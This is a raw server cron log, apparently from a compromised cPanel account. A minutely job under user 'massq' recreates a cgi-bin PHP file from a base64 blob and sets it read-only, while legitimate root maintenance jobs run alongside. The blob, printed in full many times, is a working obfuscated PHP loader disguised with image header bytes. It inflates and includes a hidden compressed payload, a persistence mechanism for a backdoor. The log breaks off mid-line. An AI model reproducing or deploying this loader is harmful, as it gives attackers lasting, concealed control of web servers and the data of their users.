Nov 15 10:42:01 server CROND[22265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:43:01 server CROND[22590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:44:01 server CROND[22871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:45:01 server CROND[23145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:45:01 server CROND[23147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:45:01 server CROND[23146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:46:01 server CROND[23470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:47:01 server CROND[23832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:48:01 server CROND[24104]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:49:01 server CROND[24386]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:50:01 server CROND[24664]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 10:50:01 server CROND[24665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:50:01 server CROND[24669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 10:50:01 server CROND[24670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:50:01 server CROND[24671]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 10:51:01 server CROND[25007]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:52:01 server CROND[25368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:53:01 server CROND[25642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:54:01 server CROND[25924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 10:55:01 server CROND[26213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 10:55:01 server CROND[26214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 